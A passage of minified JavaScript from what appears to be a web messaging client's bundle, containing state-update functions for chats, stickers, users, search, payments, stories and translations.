},messageLists:[],activeChatFolder:0,tabThreads:{},inlineBots:{isLoading:!1,byUsername:{}},globalSearch:{},userSearch:{},localTextSearch:{byChatThreadKey:{}},localMediaSearch:{byChatThreadKey:{}},management:{byChatId:{}},storyViewer:{isMuted:!0,isRibbonShown:!1},mediaViewer:{volume:r.QxZ,playbackRate:r.mwi,isMuted:!1},audioPlayer:{volume:r.QxZ,playbackRate:r.mwi,isMuted:!1},forwardMessages:{},pollResults:{},payment:{},notifications:[],dialogs:[],activeReactions:{},activeDownloads:{byChatId:{}},statistics:{byChatId:{}},pollModal:{isOpen:!1},requestedTranslations:{byChatId:{}}}},53475:(e,t,n)=>{n.d(t,{B1:()=>c,BK:()=>P,BY:()=>k,Cn:()=>E,Dd:()=>v,FK:()=>h,GL:()=>m,Jr:()=>C,Mg:()=>d,Pi:()=>y,SL:()=>u,US:()=>f,XG:()=>S,a4:()=>l,fZ:()=>p,iX:()=>I,kq:()=>w,vv:()=>b});var o=n(83716),r=n(84112),s=n(60782),a=n(7054),i=n(4907);function d(e,t,n){return{...e,chats:{...e.chats,listIds:{...e.chats.listIds,[t]:n}}}}function c(e,t,n){const{[t]:o}=e.chats.listIds,r=o?.length?n.filter((e=>!o.includes(e))):n;return o&&!r.length?e:d(e,t,[...o||[],...r])}function u(e,t){return{...e,chats:{...e.chats,byId:t}}}function l(e,t,n,o,r=!1){const{byId:s}=e.chats,a=g(e,t,n,o,r);return a?u(e,{...s,[t]:a}):e}function f(e,t,n){const o=(0,a.x67)(e,t),s={...o,...n};return(0,r.A)(o,s)?e:{...e,chats:{...e.chats,fullInfoById:{...e.chats.fullInfoById,[t]:s}}}}function h(e,t,n){const o=(0,a.x67)(e,t);return(0,r.A)(o,n)?e:{...e,chats:{...e.chats,fullInfoById:{...e.chats.fullInfoById,[t]:n}}}}function m(e,t){const n=Object.keys(t).reduce(((n,o)=>{const r=g(e,o,t[o]);return r&&(n[o]=r),n}),{});return e=u(e,{...e.chats.byId,...n})}function p(e,t){const{byId:n}=e.chats;let o=!1;const r=Object.keys(t).reduce(((r,s)=>{const a=n[s],i=t[s];if(a&&!a.isMin&&(i.isMin||a.accessHash===i.accessHash))return r;const d=g(e,s,i);return d&&(r[s]=d,o||(o=!0)),r}),{});return o?e=u(e,{...n,...r}):e}function g(e,t,n,o,a=!1){const{byId:i}=e.chats,d=i[t],c=[];if(n.isMin&&d&&!d.isMin)return;a||c.push("unreadReactionsCount"),(0,r.A)(d?.usernames,n.usernames)&&c.push("usernames");const u={...d,...(0,s.CE)(n,c),...o&&{photos:[o,...d.photos||[]]}};return u.id&&u.type?u:void 0}function y(e,t,n){const r=n===o.WSp?"archived":"active";let s=e.chats.listIds;return Object.keys(s).forEach((e=>{const n=s[e]||[];e!==r||n.includes(t)?e!==r&&n.includes(t)&&(s={...s,[e]:n.filter((e=>e!==t))}):s={...s,[e]:[...n,t]}})),l(e={...e,chats:{...e.chats,listIds:s}},t,{folderId:n||void 0})}function b(e,t,n){const o="active"===t?"all":"archived";return{...e,chats:{...e.chats,...n.orderedPinnedIds&&{orderedPinnedIds:{...e.chats.orderedPinnedIds,[t]:n.orderedPinnedIds}},totalCount:{...e.chats.totalCount,[o]:n.totalChatCount},isFullyLoaded:{...e.chats.isFullyLoaded,[t]:!1}}}}function v(e,t){return l(e=w(e,t),t,{isNotJoined:!0})}function w(e,t){const n=e.chats.listIds;return Object.entries(n).forEach((([n,o])=>{e=d(e,n,o.filter((e=>e!==t)))})),e}function I(e,t,n){const o=(0,a.x67)(e,t.id)?.members,r=new Set(n.map((e=>e.userId))),i=[...o?.filter((({userId:e})=>!r.has(e)))||[],...n],d=o?.map((({userId:e})=>e))||[],c=i.map((({userId:e})=>e));if((0,s.et)(d,c))return e;const u=i.filter((({isAdmin:e,isOwner:t})=>e||t));return f(e,t.id,{members:i,adminMembersById:(0,s.ee)(u,"userId")})}function C(e,t,n){return l(e,t,{listedTopicIds:(0,s.Tw)([...e.chats.byId[t]?.listedTopicIds||[],...n])})}function S(e,t,n,o){const r=(0,a.Z1J)(e,t),d=(0,s.ee)(o,"id");return e=l(e,t,{topics:{...r?.topics,...d},topicsCount:n}),o.forEach((n=>{e=(0,i.sN)(e,t,n.id,{firstMessageId:n.id}),e=(0,i.Xg)(e,t,n.id,{lastMessageId:n.lastMessageId,threadId:n.id,chatId:t})})),e}function E(e,t,n,o){const r=(0,a.Z1J)(e,t);if(!r)return e;const s=r?.topics?.[n],d={...s,...o};return d.id?(e=l(e,t,{topics:{...r.topics||{},[n]:d}}),e=(0,i.sN)(e,t,d.id,{firstMessageId:d.id}),e=(0,i.Xg)(e,t,d.id,{lastMessageId:d.lastMessageId,threadId:d.id,chatId:t})):e}function P(e,t,n){const o=(0,a.Z1J)(e,t),r=o?.topics||[];return l(e,t,{topics:(0,s.CE)(r,[n])})}function k(e,t,n){return{...e,chats:{...e.chats,similarChannelsById:{...e.chats.similarChannelsById,[t]:n}}}}},41020:(e,t,n)=>{n.d(t,{fC:()=>r.fC,h7:()=>oe,iX:()=>o.iX,c_:()=>r.c_,fZ:()=>o.fZ,m6:()=>r.m6,aK:()=>te,aJ:()=>ee,BY:()=>o.BY,p1:()=>Ae,_6:()=>Le,zn:()=>Z,Sh:()=>P,Xq:()=>B,$S:()=>r.$S,wI:()=>r.wI,ZI:()=>ce,CE:()=>We,Kn:()=>de,bp:()=>we,WY:()=>Ie,ft:()=>D,K4:()=>r.K4,bV:()=>r.bV,GK:()=>T,BK:()=>o.BK,M6:()=>r.M6,i9:()=>r.i9,Dd:()=>o.Dd,vy:()=>b,kw:()=>re,kq:()=>o.kq,IU:()=>r.IU,se:()=>Oe,IR:()=>qe,g_:()=>m,FK:()=>o.FK,Mg:()=>o.Mg,SL:()=>o.SL,Pb:()=>H,w3:()=>r.w3,BI:()=>X,O8:()=>r.O8,lr:()=>Q,pf:()=>r.pf,ps:()=>N,s5:()=>I,HX:()=>r.HX,y9:()=>r.y9,fS:()=>be,bs:()=>me,_7:()=>ye,Q$:()=>he,Dq:()=>ve,vT:()=>fe,QD:()=>ge,QH:()=>pe,Ob:()=>r.Ob,a4:()=>o.a4,US:()=>o.US,B1:()=>o.B1,vv:()=>o.vv,Pi:()=>o.Pi,cY:()=>r.cY,GL:()=>o.GL,Wy:()=>r.Wy,AA:()=>g,cU:()=>l,wV:()=>r.wV,cq:()=>r.cq,rq:()=>h,No:()=>x,Og:()=>_,xv:()=>j,px:()=>F,P5:()=>Ne,WW:()=>Re,xj:()=>r.xj,Jr:()=>o.Jr,c1:()=>z,z5:()=>G,qr:()=>V,dx:()=>W,fw:()=>J,H9:()=>Y,kM:()=>Se,qt:()=>He,TD:()=>Ke,HN:()=>ne,hv:()=>r.hv,vu:()=>ie,cQ:()=>ue,GG:()=>Te,CJ:()=>Me,vI:()=>je,QO:()=>$e,w2:()=>_e,Qn:()=>Fe,Fz:()=>Ze,et:()=>y,LV:()=>Ge,ql:()=>ze,P4:()=>r.P4,ed:()=>xe,TM:()=>le,Fn:()=>r.Fn,ze:()=>Ce,yC:()=>Pe,Uq:()=>Ve,fH:()=>c,Rg:()=>f,z3:()=>u,IM:()=>p,sG:()=>Ee,eB:()=>De,uS:()=>Be,sN:()=>r.sN,Xg:()=>r.Xg,j6:()=>r.j6,lG:()=>r.lG,Cn:()=>o.Cn,XG:()=>o.XG,IE:()=>se,Nq:()=>S,ap:()=>R,Lm:()=>M,Q3:()=>A,eD:()=>E});var o=n(53475),r=n(4907),s=n(65054),a=n(60782),i=n(7054),d=n(44271);function c(e,t,n,...[o=(0,s._w)()]){return(0,d.i)(e,{stickerSearch:{...(0,i.jUK)(e,o).stickerSearch,hash:t,resultIds:n}},o)}function u(e,t,n,o){const r=o.map((t=>{const n=e.stickers.setsById[t.id];return n?{...n,...t}:t})),s=o.map((e=>e.id));return"search"===t?{...e,stickers:{...e.stickers,setsById:{...e.stickers.setsById,...(0,a.ee)(r,"id")}}}:{...e,stickers:{...e.stickers,setsById:{...e.stickers.setsById,...(0,a.ee)(r,"id")},[t]:{...e.stickers[t],hash:n,setIds:[...e.stickers[t].setIds||[],...s]}}}}function l(e,t,n){const o=n.map((t=>{const n=e.stickers.setsById[t.id];return n?{...n,...t}:t})),r=n.map((e=>e.stickers)).flat().filter(Boolean),s=n.map((e=>e.id));return{...e,stickers:{...e.stickers,setsById:{...e.stickers.setsById,...(0,a.ee)(o,"id")}},customEmojis:{...e.customEmojis,added:{...e.customEmojis.added,hash:t,setIds:[...e.customEmojis.added.setIds||[],...s]},byId:{...e.customEmojis.byId,...(0,a.ee)(r,"id")}}}}function f(e,t,n){const o=e.stickers.setsById[t]||{},r=n.isEmoji||o.isEmoji,s=(r?e.customEmojis.added.setIds:e.stickers.added.setIds)||[];let i=s;n.installedDate&&!n.isArchived&&s&&!s.includes(t)&&(i=[t,...i]),!n.installedDate&&s?.includes(t)&&(i=i.filter((e=>e!==t)));const d=r&&n.stickers&&(0,a.ee)(n.stickers,"id");return{...e,stickers:{...e.stickers,added:{...e.stickers.added,...!r&&{setIds:i}},setsById:{...e.stickers.setsById,[t]:{...o,...n}}},customEmojis:{...e.customEmojis,byId:{...e.customEmojis.byId,...d},added:{...e.customEmojis.added,...r&&{setIds:i}}}}}function h(e,t,n,o,...[r=(0,s._w)()]){const{results:a}=(0,i.jUK)(e,r).gifSearch;let c;if(t||!a)c=n;else{const e=new Set(a.map((e=>e.id)));c=[...a,...n.filter((t=>!e.has(t.id)))]}return(0,d.i)(e,{gifSearch:{...(0,i.jUK)(e,r).gifSearch,offset:o,results:c}},r)}function m(e,t){return{...e,animatedEmojis:t}}function p(e,t,n,o){const r=[...(0,i.PkN)(e,t),...n||[]],s=(0,a.Tw)(r.map((({id:e})=>e))),d=(0,a.ee)(r,"id"),c=s.map((e=>d[e]));return{...e,stickers:{...e.stickers,forEmoji:{emoji:t,stickers:c,hash:o}}}}function g(e,t){const n=(0,i.EeF)(e,t),o=(0,a.Tw)(n.map((({id:e})=>e))),r=(0,a.ee)(n,"id"),s=o.map((e=>r[e]));return{...e,customEmojis:{...e.customEmojis,forEmoji:{emoji:t,stickers:s}}}}function y(e,t,n){return{...e,customEmojis:{...e.customEmojis,statusRecent:{...e.customEmojis.statusRecent,hash:t,emojis:n}}}}function b(e){if(e.stickers.forEmoji){const{emoji:t,stickers:n,hash:o}=e.stickers.forEmoji;return t?p(e,t,n,o):e}if(e.customEmojis.forEmoji){const{emoji:t}=e.customEmojis.forEmoji;return t?g(e,t):e}return e}var v=n(84112),w=n(70735);function I(e,t){return{...e,users:{...e.users,byId:t}}}function C(e,t){const{userIds:n}=e.contactList||{};if(!n)return e;const o=t.filter((e=>e?.isContact&&!n.includes(e.id))).map((e=>e.id));return 0===o.length?e:{...e,contactList:{userIds:[...o,...n]}}}function S(e,t,n){const{byId:o}=e.users,r=k(e,t,n);return r?I(e=C(e,[r]),{...o,[t]:r}):e}function E(e,t){const n=Object.keys(t).reduce(((n,o)=>{const r=k(e,o,t[o]);return r&&(n[o]=r),n}),{});return e=C(e=I(e,{...e.users.byId,...n}),Object.values(n))}function P(e,t){const{byId:n}=e.users;let o=!1;const r=Object.keys(t).reduce(((r,s)=>{const a=n[s],i=t[s];if(a&&!a.isMin&&(i.isMin||a.accessHash===i.accessHash))return r;const d=k(e,s,i);return d&&(r[s]=d,o||(o=!0)),r}),{});return o?e=C(e=I(e,{...n,...r}),Object.values(r)):e}function k(e,t,n){const{byId:o}=e.users,r=o[t],s=[];if(n.isMin&&r&&!r.isMin)return;(0,v.A)(r?.usernames,n.usernames)&&s.push("usernames");const i={...r,...(0,a.CE)(n,s)};return i.id&&i.type?i:void 0}function T(e,t){const{byId:n}=e.users,{userIds:r}=e.contactList||{};return e=I(e={...e,contactList:{userIds:r?r.filter((e=>e!==t)):w.D}},{...n,[t]:{...n[t],isContact:void 0}}),e={...e,stories:{...e.stories,orderedPeerIds:{active:e.stories.orderedPeerIds.active.filter((e=>e!==t)),archived:e.stories.orderedPeerIds.archived.filter((e=>e!==t))}}},(0,o.a4)(e,t,{settings:void 0})}function M(e,t,...[n=(0,s._w)()]){return(0,d.i)(e,{userSearch:{...(0,i.jUK)(e,n).userSearch,...t}},n)}function A(e,t,...[n=(0,s._w)()]){return M(e,{fetchingStatus:t},n)}function L(e,t,n){const{fullInfoById:o}=e.users;return o[t]?R(e,t,{isBlocked:n}):e}function N(e,t){return{...e,users:{...e.users,statusesById:t}}}function R(e,t,n){const o=e.users.fullInfoById[t];return{...e,users:{...e.users,fullInfoById:{...e.users.fullInfoById,[t]:{...o,...n}}}}}function Z(e,t){const{statusesById:n}=e.users,o=Object.keys(t).filter((e=>!n[e]));return o.length?e=N(e,{...n,...(0,a.ei)(t,o)}):e}function D(e,...[t=(0,s._w)()]){return(0,d.i)(e,{newContact:void 0},t)}function B(e,t,n,...[o=(0,s._w)()]){const{inviteViaLinkModal:r}=(0,i.jUK)(e,o);return(0,d.i)(e,{inviteViaLinkModal:{...r,restrictedUserIds:(0,a.Tw)([...r?.restrictedUserIds??[],...t]),chatId:n}},o)}const O=e=>`${e.chatId}_${e.id}`;function x(e,t,...[n=(0,s._w)()]){return(0,d.i)(e,{globalSearch:{...(0,i.jUK)(e,n).globalSearch,...t}},n)}function _(e,t,...[n=(0,s._w)()]){return x(e,{currentContent:t},n)}function F(e,t,n,o,r,...[d=(0,s._w)()]){const{resultsByType:c}=(0,i.jUK)(e,d).globalSearch||{},u=t.reduce(((e,t)=>(e[O(t)]=t,e)),{}),l=c?.[o]?.foundIds;if(void 0!==l&&Object.keys(u).every((e=>l.includes(O(u[e])))))return j(e,{messages:!1},d);const f=l||[],h=t.map((e=>O(e))).filter((e=>!f.includes(e))),m=Array.prototype.concat(f,h),p=(0,a.et)(f,m)?f:m;return x(e=j(e,{messages:!1},d),{resultsByType:{...((0,i.jUK)(e,d).globalSearch||{}).resultsByType,[o]:{totalCount:n,nextOffsetId:r,foundIds:p}}},d)}function j(e,t,...[n=(0,s._w)()]){return x(e,{fetchingStatus:{...(0,i.jUK)(e,n).globalSearch.fetchingStatus,...t}},n)}var $=n(4463);function U(e,t,n,...[o=(0,s._w)()]){return(0,d.i)(e,{localTextSearch:{byChatThreadKey:{...(0,i.jUK)(e,o).localTextSearch.byChatThreadKey,[t]:n}}},o)}function V(e,t,n,o,r,...[a=(0,s._w)()]){const d=(0,$.uw)(t,n);return U(e,d,{...(0,i.jUK)(e,a).localTextSearch.byChatThreadKey[d],isActive:o,query:r},a)}function H(e,t,n,o,r,a,...[d=(0,s._w)()]){const c=(0,$.uw)(t,n);return U(e,c,{...(0,i.jUK)(e,d).localTextSearch.byChatThreadKey[c],results:{foundIds:o,totalCount:r,nextOffsetId:a}},d)}function W(e,t,n,o,r,d,...[c=(0,s._w)()]){const u=(0,$.uw)(t,n),{results:l}=(0,i.jUK)(e,c).localTextSearch.byChatThreadKey[u]||{},f=l?.foundIds||[],h=q((0,a.Tw)(Array.prototype.concat(f,o)));return H(e,t,n,(0,a.et)(f,h)?f:h,r,d,c)}function K(e,t,n,o,...[r=(0,s._w)()]){const a=(0,$.uw)(t,n);return(0,d.i)(e,{localMediaSearch:{byChatThreadKey:{...(0,i.jUK)(e,r).localMediaSearch.byChatThreadKey,[a]:o}}},r)}function G(e,t,n,o,...[r=(0,s._w)()]){const a=(0,$.uw)(t,n);return K(e,t,n,{...(0,i.jUK)(e,r).localMediaSearch.byChatThreadKey[a],currentType:o},r)}function z(e,t,n,o,r,d,c,...[u=(0,s._w)()]){const l=(0,$.uw)(t,n),{resultsByType:f}=(0,i.jUK)(e,u).localMediaSearch.byChatThreadKey[l]||{},h=f?.[o]?f[o].foundIds:[],m=q((0,a.Tw)(Array.prototype.concat(h,r)));return function(e,t,n,o,r,a,d,...[c=(0,s._w)()]){const u=(0,$.uw)(t,n);return K(e,t,n,{...(0,i.jUK)(e,c).localMediaSearch.byChatThreadKey[u],resultsByType:{...((0,i.jUK)(e,c).localMediaSearch.byChatThreadKey[u]||{}).resultsByType,[o]:{foundIds:r,totalCount:a,nextOffsetId:d}}},c)}(e,t,n,o,(0,a.et)(h,m)?h:m,d,c,u)}function q(e){return e.sort(((e,t)=>t-e))}function Y(e,t,...[n=(0,s._w)()]){return(0,d.i)(e,{management:{...(0,i.jUK)(e,n).management,progress:t}},n)}function J(e,t,n,...[o=(0,s._w)()]){const{management:r}=(0,i.jUK)(e,o);return(0,d.i)(e,{management:{...r,byChatId:{...r.byChatId,[t]:{...r.byChatId[t]||{},...n}}}},o)}function X(e,t){return{...e,settings:{...e.settings,byKey:{...e.settings.byKey,...t}}}}function Q(e,t,n){return{...e,settings:{...e.settings,themes:{...e.settings.themes,[t]:{...e.settings.themes[t]||{},...n}}}}}function ee(e,t){return t.forEach((t=>{const{chatId:n,...o}=t;e=te(e,n,o)})),e}function te(e,t,n){return{...e,settings:{...e.settings,notifyExceptions:{...e.settings.notifyExceptions,[t]:n}}}}function ne(e,t,n,o){switch(t){case"contact":return X(e,{...void 0!==n&&{hasPrivateChatsNotifications:!n},...void 0!==o&&{hasPrivateChatsMessagePreview:o}});case"group":return X(e,{...void 0!==n&&{hasGroupNotifications:!n},...void 0!==o&&{hasGroupMessagePreview:o}});case"broadcast":return X(e,{...void 0!==n&&{hasBroadcastNotifications:!n},...void 0!==o&&{hasBroadcastMessagePreview:o}})}}function oe(e,t){return e=L(e,t,!0),{...e,blocked:{...e.blocked,ids:[t,...e.blocked.ids],totalCount:e.blocked.totalCount+1}}}function re(e,t){return e=L(e,t,!1),{...e,blocked:{...e.blocked,ids:e.blocked.ids.filter((e=>e!==t)),totalCount:e.blocked.totalCount-1}}}function se(e,t){return{...e,twoFaSettings:{...e.twoFaSettings,...t}}}var ae=n(35369);function ie(e,t){return{...e,passcode:{...e.passcode,...t}}}function de(e){return{...e,passcode:{}}}function ce(e,t=!0){const{theme:n,shouldUseSystemTheme:o,animationLevel:r,language:s}=e.settings.byKey;return{...ae.g9,passcode:e.passcode,settings:{...ae.g9.settings,byKey:{...ae.g9.settings.byKey,theme:n,shouldUseSystemTheme:o,animationLevel:r,language:s}},...t&&{byTabId:Object.values(e.byTabId).reduce(((e,{id:t,isMasterTab:n})=>(e[t]={...ae.nn,isMasterTab:n,id:t},e)),{})}}}function ue(e,t,...[n=(0,s._w)()]){return(0,d.i)(e,{payment:{...(0,i.jUK)(e,n).payment,...t}},n)}function le(e,t,...[n=(0,s._w)()]){return ue(e,{shippingOptions:t},n)}function fe(e,t,...[n=(0,s._w)()]){return ue(e,{requestId:t},n)}function he(e,t,...[n=(0,s._w)()]){return ue(e,{step:t},n)}function me(e,t,...[n=(0,s._w)()]){const{title:o,text:r,amount:a,currency:i,isTest:d,photo:c,isRecurring:u,termsUrl:l,maxTipAmount:f,suggestedTipAmounts:h}=t;return ue(e,{invoice:{title:o,text:r,photo:c,amount:a,currency:i,isTest:d,isRecurring:u,termsUrl:l,maxTipAmount:f,suggestedTipAmounts:h}},n)}function pe(e,t,...[n=(0,s._w)()]){return ue(e,{stripeCredentials:{...t}},n)}function ge(e,t,...[n=(0,s._w)()]){return ue(e,{smartGlocalCredentials:{...t}},n)}function ye(e,t,...[n=(0,s._w)()]){return ue(e,{...t},n)}function be(e,t,...[n=(0,s._w)()]){return ue(e,{confirmPaymentUrl:t},n)}function ve(e,t,n,...[o=(0,s._w)()]){if(!t||!n)return ue(e,{receipt:void 0},o);const{invoice:r}=n.content,{photo:a,text:i,title:d}=r||{};return ue(e,{receipt:{...t,photo:a,text:i,title:d}},o)}function we(e,...[t=(0,s._w)()]){return(0,d.i)(e,{payment:{}},t)}function Ie(e,...[t=(0,s._w)()]){return ue(e,{isPaymentModalOpen:void 0,isExtendedMedia:void 0},t)}function Ce(e,t,n,...[o=(0,s._w)()]){return(0,d.i)(e,{statistics:{byChatId:{...(0,i.jUK)(e,o).statistics.byChatId,[t]:n}}},o)}function Se(e,t,...[n=(0,s._w)()]){return(0,d.i)(e,{statistics:{...(0,i.jUK)(e,n).statistics,currentMessage:t,currentStory:void 0}},n)}function Ee(e,t,...[n=(0,s._w)()]){return(0,d.i)(e,{statistics:{...(0,i.jUK)(e,n).statistics,currentStory:t,currentMessage:void 0}},n)}function Pe(e,t,n,o,...[r=(0,s._w)()]){const{statistics:a}=(0,i.jUK)(e,r);return(0,d.i)(e,{statistics:{...a,byChatId:{...a.byChatId,[t]:{...a.byChatId[t]||{},[n]:o}}}},r)}var ke=n(82267);function Te(e,t,n){return(0,$.YC)(t)?S(e,t,n):(0,o.a4)(e,t,n)}function Me(e,t,n){return(0,$.YC)(t)?R(e,t,n):(0,o.US)(e,t,n)}function Ae(e,t){const n=Object.entries(t).reduce(((e,[t,n])=>(e[t]?(e[t].byId={...e[t].byId,...n.byId},e[t].orderedIds=(0,a.Tw)(n.orderedIds.concat(e[t].orderedIds)),e[t].pinnedIds=(0,a.Tw)(n.pinnedIds.concat(e[t].pinnedIds)).sort(((e,t)=>t-e)),e[t].lastUpdatedAt=n.lastUpdatedAt,e[t].lastReadId=n.lastReadId):e[t]=n,e)),e.stories.byPeerId);return Ue(e={...e,stories:{...e.stories,byPeerId:n}},Object.keys(t))}function Le(e,t,n,o){const{byId:r,orderedIds:s,pinnedIds:d,archiveIds:c}=e.stories.byPeerId[t]||{},u=Object.keys(n).filter((e=>"isDeleted"in n[Number(e)])).map(Number),l={...r,...n};let f=[...s||[]],h=[...c||[]];const m=(0,a.Tw)([...d||[]].concat(Object.values(n).reduce(((e,t)=>("isPinned"in t&&t.isPinned&&e.push(t.id),e)),[]))).sort(((e,t)=>t-e)).filter((e=>!u.includes(e)));return f=(0,a.Tw)(Object.entries(n).reduce(((e,[t,n])=>("expireDate"in n&&n.expireDate&&n.expireDate>(0,ke.bp)()&&e.push(Number(t)),e)),f)).filter((e=>!u.includes(e))),o&&t===e.currentUserId&&(h=(0,a.Tw)(h.concat(Object.keys(n).map(Number))).sort(((e,t)=>t-e)).filter((e=>!u.includes(e)))),(t===(e={...e,stories:{...e.stories,byPeerId:{...e.stories.byPeerId,[t]:{...e.stories.byPeerId[t],byId:l,orderedIds:f,pinnedIds:m,...o&&{archiveIds:h}}}}}).currentUserId||(0,i.dyD)(e,t)?.isContact||t===e.appConfig?.storyChangelogUserId)&&(e=function(e,t){const n=e.stories.byPeerId[t],o=n.orderedIds.reduce(((e,t)=>{const{date:o}=n.byId[t]||{};return o&&(!e||e<o)&&(e=o),e}),void 0);return{...e,stories:{...e.stories,byPeerId:{...e.stories.byPeerId,[t]:{...n,lastUpdatedAt:o}}}}}(e,t),e=Ue(e,[t])),e}function Ne(e,t,n){const{orderedIds:o}=(0,i.nST)(e,t)||{};return o?(n>=o[o.length-1]&&(e=Te(e,t,{hasUnreadStories:!1})),{...e,stories:{...e.stories,byPeerId:{...e.stories.byPeerId,[t]:{...e.stories.byPeerId[t],lastReadId:n}}}}):e}function Re(e,t,n,...[o=(0,s._w)()]){const{orderedIds:r}=(0,i.nST)(e,t)||{};if(!r||!r.includes(n))return e;const{storyViewer:a}=(0,i.jUK)(e,o);return(0,d.i)(e,{storyViewer:{...a,lastViewedByPeerIds:{...a.lastViewedByPeerIds,[t]:n}}},o)}function Ze(e,t){return Object.entries(t).forEach((([t,{lastReadId:n,orderedIds:o}])=>{const r=(0,i.RGZ)(e,t);r&&(e=Te(e,t,{hasStories:!0,hasUnreadStories:!n||Boolean(n&&n<(r.maxStoryId||o[o.length-1]))}))})),e}function De(e,t,n,o,...[r=(0,s._w)()]){const a=(0,i.jUK)(e,r),{viewModal:c}=a.storyViewer,u=c?.storyId===t&&c.views?[...c.views,...n]:n;return e=Be(e,!1,r),(0,d.i)(e,{storyViewer:{...a.storyViewer,viewModal:{...c,storyId:t,views:u,nextOffset:o,isLoading:!1}}},r)}function Be(e,t,...[n=(0,s._w)()]){const o=(0,i.jUK)(e,n),{viewModal:r}=o.storyViewer;return r?(0,d.i)(e,{storyViewer:{...o.storyViewer,viewModal:{...r,isLoading:t}}},n):e}function Oe(e,t,n){const{orderedIds:o,pinnedIds:r,lastReadId:s,byId:a}=(0,i.nST)(e,t)||{orderedIds:[],pinnedIds:[]},d=o.filter((e=>e!==n)),c=r.filter((e=>e!==n)),u=d.length?o[o.length-1]:void 0,l=o[o.indexOf(n)-1],f=s===n?l:s,h={...a,[n]:{id:n,peerId:t,isDeleted:!0}},m=u?h[u]?.date:void 0,p=Boolean(d.length);return e=function(e,t,n){return{...e,stories:{...e.stories,byPeerId:{...e.stories.byPeerId,[t]:n}}}}(e=Te(e,t,{hasStories:p,hasUnreadStories:Boolean(p&&s&&u&&s<u)}),t,{byId:h,orderedIds:d,pinnedIds:c,lastUpdatedAt:m,lastReadId:f}),Object.values(e.byTabId).forEach((o=>{o.storyViewer.lastViewedByPeerIds?.[t]===n&&(e=Re(e,t,l,o.id))})),p||(e={...e,stories:{...e.stories,orderedPeerIds:{active:e.stories.orderedPeerIds.active.filter((e=>e!==t)),archived:e.stories.orderedPeerIds.archived.filter((e=>e!==t))}}}),e}function xe(e,t,n,o){const r=(0,i.JrV)(e,t,n);if(!r||!("content"in r))return e;const{views:s}=r,a=s?.reactionsCount||0,d=s?.reactions?.some((e=>void 0!==e.chosenOrder)),c=(0,$.vt)(s?.reactions||[],[o].filter(Boolean)),u=a+(o?d?0:1:-1);return _e(e,t,n,{sentReaction:o,views:{...s,reactionsCount:u,reactions:c}})}function _e(e,t,n,o){const r=(0,i.nST)(e,t)||{byId:{},orderedIds:[],pinnedIds:[],archiveIds:[]};return{...e,stories:{...e.stories,byPeerId:{...e.stories.byPeerId,[t]:{...r,byId:{...r.byId,[n]:{...r.byId[n],...o}}}}}}}function Fe(e,t,n,o){const r=(0,i.JrV)(e,t,n);if(!r||!("content"in r))return e;const{views:s}=r;return _e(e,t,n,{views:{...s,...o}})}function je(e,t,n,o){const r=(0,i.nST)(e,t)||{byId:{},orderedIds:[],pinnedIds:[],archiveIds:[]},s=o?(0,a.Tw)(r.pinnedIds.concat(n)).sort(((e,t)=>t-e)):r.pinnedIds.filter((e=>n!==e));return{...e,stories:{...e.stories,byPeerId:{...e.stories.byPeerId,[t]:{...r,pinnedIds:s}}}}}function $e(e,t,n){const o=(0,i.RGZ)(e,t);return o?o.areStoriesHidden===n?e:Ue(e=Te(e,t,{areStoriesHidden:n}),[t]):e}function Ue(e,t){const{currentUserId:n,stories:{byPeerId:o,orderedPeerIds:r}}=e,s=r.active.concat(r.archived).concat(t).reduce(((t,n)=>{if(!o[n]?.orderedIds?.length)return t;const r=(0,i.RGZ)(e,n);return r?.areStoriesHidden?t.archived.push(n):t.active.push(n),t}),{active:[],archived:[]});function d(t,r){const s=(0,i.RGZ)(e,t),d=(0,i.RGZ)(e,r),c=(0,a.aK)(n===t,n===r);if(c)return c;const{lastUpdatedAt:u=0,orderedIds:l,lastReadId:f=0}=o[t]||{},h=f<l?.[l.length-1],{lastUpdatedAt:m=0,orderedIds:p,lastReadId:g=0}=o[r]||{},y=g<p?.[p.length-1],b=(0,a.aK)(h,y);if(b)return b;const v=(0,a.aK)("isPremium"in s,"isPremium"in d);if(v)return v;return(0,a.aK)((0,$.YC)(t),(0,$.YC)(r))||(0,a.aK)(u,m)}return s.archived=(0,a.Tw)(s.archived).filter((e=>o[e]?.orderedIds?.length)).sort(d),s.active=(0,a.Tw)(s.active).filter((e=>o[e]?.orderedIds?.length)).sort(d),{...e,stories:{...e.stories,orderedPeerIds:s}}}function Ve(e,t){return{...e,stories:{...e.stories,stealthMode:t}}}function He(e,t,n,o,r){const s=(0,i.HGB)(e,t,o);return{...e,translations:{...e.translations,byChatId:{...e.translations.byChatId,[t]:{...e.translations.byChatId[t],byLangCode:{...e.translations.byChatId[t]?.byLangCode,[o]:{...s,[n]:{...s[n],...r}}}}}}}}function We(e,t,n){const o=e.translations.byChatId[t];if(!o)return e;const{byLangCode:r}=o,s=Object.keys(r).reduce(((e,t)=>{const o=(0,a.CE)(r[t],[n]);return Object.keys(o).length&&(e[t]=o),e}),{});return{...e,translations:{...e.translations,byChatId:{...e.translations.byChatId,[t]:{...o,byLangCode:s}}}}}function Ke(e,t,n,o,r){return n.forEach(((n,s)=>{e=He(e,t,n,o,{text:r[s],isPending:!1})})),e}function Ge(e,t,n,...[o=(0,s._w)()]){const r=(0,i.jUK)(e,o);return(0,d.i)(e,{requestedTranslations:{...r.requestedTranslations,byChatId:{...r.requestedTranslations.byChatId,[t]:{toLanguage:n}}}},o)}function ze(e,t,n,o,...[r=(0,s._w)()]){const a=(0,i.jUK)(e,r);return(0,d.i)(e,{requestedTranslations:{...a.requestedTranslations,byChatId:{...a.requestedTranslations.byChatId,[t]:{...a.requestedTranslations.byChatId[t],manualMessages:{...a.requestedTranslations.byChatId[t]?.manualMessages,[n]:o}}}}},r)}function qe(e,t,n,...[o=(0,s._w)()]){const r=(0,i.jUK)(e,o),c=r.requestedTranslations.byChatId[t]?.manualMessages;if(!c)return e;const u=(0,a.CE)(c,[n]);return(0,d.i)(e,{requestedTranslations:{...r.requestedTranslations,byChatId:{...r.requestedTranslations.byChatId,[t]:{...r.requestedTranslations.byChatId[t],manualMessages:u}}}},o)}},4907:(e,t,n)=>{n.d(t,{$S:()=>P,Fn:()=>R,HX:()=>T,IU:()=>S,K4:()=>w,M6:()=>D,O8:()=>m,Ob:()=>B,P4:()=>v,Wy:()=>u,Xg:()=>M,bV:()=>I,cY:()=>b,c_:()=>y,cq:()=>N,fC:()=>_,hv:()=>E,i9:()=>O,j6:()=>A,lG:()=>x,m6:()=>g,pf:()=>p,sN:()=>f,w3:()=>L,wI:()=>F,wV:()=>Z,xj:()=>C,y9:()=>k});var 